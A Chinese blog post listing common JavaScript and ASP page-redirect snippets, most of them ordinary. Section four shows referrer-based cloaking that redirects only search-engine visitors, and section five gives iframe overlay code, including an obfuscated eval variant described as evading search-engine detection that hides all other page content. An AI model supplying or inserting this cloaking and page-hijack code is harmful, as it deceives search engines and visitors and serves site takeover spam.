当前位置:首页 > 笔记 > 前端 > 正文内容

常用js跳转代码

3年前 (2022-10-12)前端5985

一、常规的js页面跳转代码

1、在原来的窗体中直接跳转用

<script type="text/JavaScript">  window.location.href="你所要跳转的页面";</script>

2、在新窗体中打开页面用:

<script type="text/JavaScript">  window.open('你所要跳转的页面');</script>

3、JS页面跳转参数的注解

<SCRIPT LANGUAGE="javascript">  <!--    window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')    //写成一行    --></SCRIPT>

参数解释:
  window.open 弹出新窗口的命令;
  'page.html' 弹出窗口的文件名;
  'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空'代替;
  height=100 窗口高度;
  width=500 窗口宽度;
  top=0 窗口距离屏幕上方的象素值;
  left=0 窗口距离屏幕左侧的象素值。

二、跳转指定页面的JS代码

第1种:

<script language="javascript" type="text/javascript">  window.location.href="login.jsp?backurl="+window.location.href;</script>

第2种:

<script language="javascript">  alert("返回");    window.history.back(-1);</script>

第3种:

<script language="javascript">  window.navigate("top.jsp");</script>

第4种:

<script language="JavaScript">  self.location='top.htm';</script>

第5种:

<script language="javascript">  alert("非法访问!");    top.location='xx.jsp';</script>

三、页面停留指定时间再跳转(如3秒)

<script type="text/javascript">  function jumurl(){    window.location.href = 'http://www.fly63.com/';    }    setTimeout(jumurl,3000);</script>

四、根据访客来源跳转的JS代码

1、JS判断来路代码
此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:

<script LANGUAGE="Javascript">  var s=document.referrer  if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )    location.href="http://www.fly63.com/";</script>

2、JS直接跳转代码

<script LANGUAGE="Javascript">  location.href="http://www.fly63.com/";</script>

3、ASP跳转代码判断来路

<%    if instr(Request.Servervariables("http_referer"),"www.baidu.com")>0 then    response.redirect("http://www.fly63.com/")    end if%>

4、ASP直接跳转的

<%    response.redirect("http://www.fly63.com/")  %>

五、广告与网站页面一起的JS代码

1、上面是广告下面是站群的代码

document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.fly63.com/></iframe>");

2、全部覆盖的代码

document.write("</iframe><iframe src='http://www.fly63.com/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");

3、混淆防止搜索引擎被查的js调用
具体的展示上面是广告下面是站群的代码:

var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.f'+'ly'+'63.c'+'om/"></iframe></center>';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{     setInterval(function(){     try{         document.getElementById("div"+"All").style.display="no"+"ne";     }catch(e){}         for(var i=0;i<document.body.children.length;i++){            try{                var tagname = document.body.children[i].tagName;                var myid = document.body.children[i].id;                if(myid!="icondiv1" && myid!="showcloneshengxiaon"){                    // if(tagname!="center"){                          document.body.children[i].style.display="non"+"e";                    //}                  }              }catch(e){}         }     },100);  }catch(e){}

六、页面跳出框架

<script type="text/javascript">  top.location.href='http://www.fly63.com/';</script>

七、返回上一页

<script type="text/javascript">  window.history.back(-1);</script>


扫描二维码推送至手机访问。

版权声明:本文由蓝博发布,如需转载请注明出处。

本文链接:https://www.blueboss.cn/p/36.shtml

返回列表

没有更早的文章了...

下一篇:CSS 圆角 样式表

“常用js跳转代码” 的相关文章

CSS 圆角 样式表

CSS 圆角 样式表

css 样式表1.CSS 圆角CSS border-radius 属性//实例1     #rcorners1 {   border-radius: 25px;   background:&nb...

Font-Awesome字体跨域无法正常显示的问题解决

Font-Awesome字体跨域无法正常显示的问题解决

网页使用 Font Awesome 字体图标时图标不能正常显示,浏览器控制台出现“@font-face 跨源请求失败。资源访问受限”的错误提示,出现该错误的原因是浏览器的同源策略机制导致。解决方法是使用跨域资源共享(CORS)机制,跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声...

设置input 文本框 不可编辑修改,input框禁止输入

设置input 文本框 不可编辑修改,input框禁止输入

设置input 文本框 不可编辑修改,input框禁止输入在input文本框上添加readonly="readonly"属性,代码:<input type="text" value="设置只读" read...

Js代码直接显示当年的年份 适合网站页脚做版权

Js代码直接显示当年的年份 适合网站页脚做版权

演示: ©2018-2023 可以直接复制使用,修改一下开始的年份即可,自动生成到今年的年份。 比如今年 2023 年 所展示的是 2018-2023代码如下:<p>© 2018-<script type="text/javascript"&...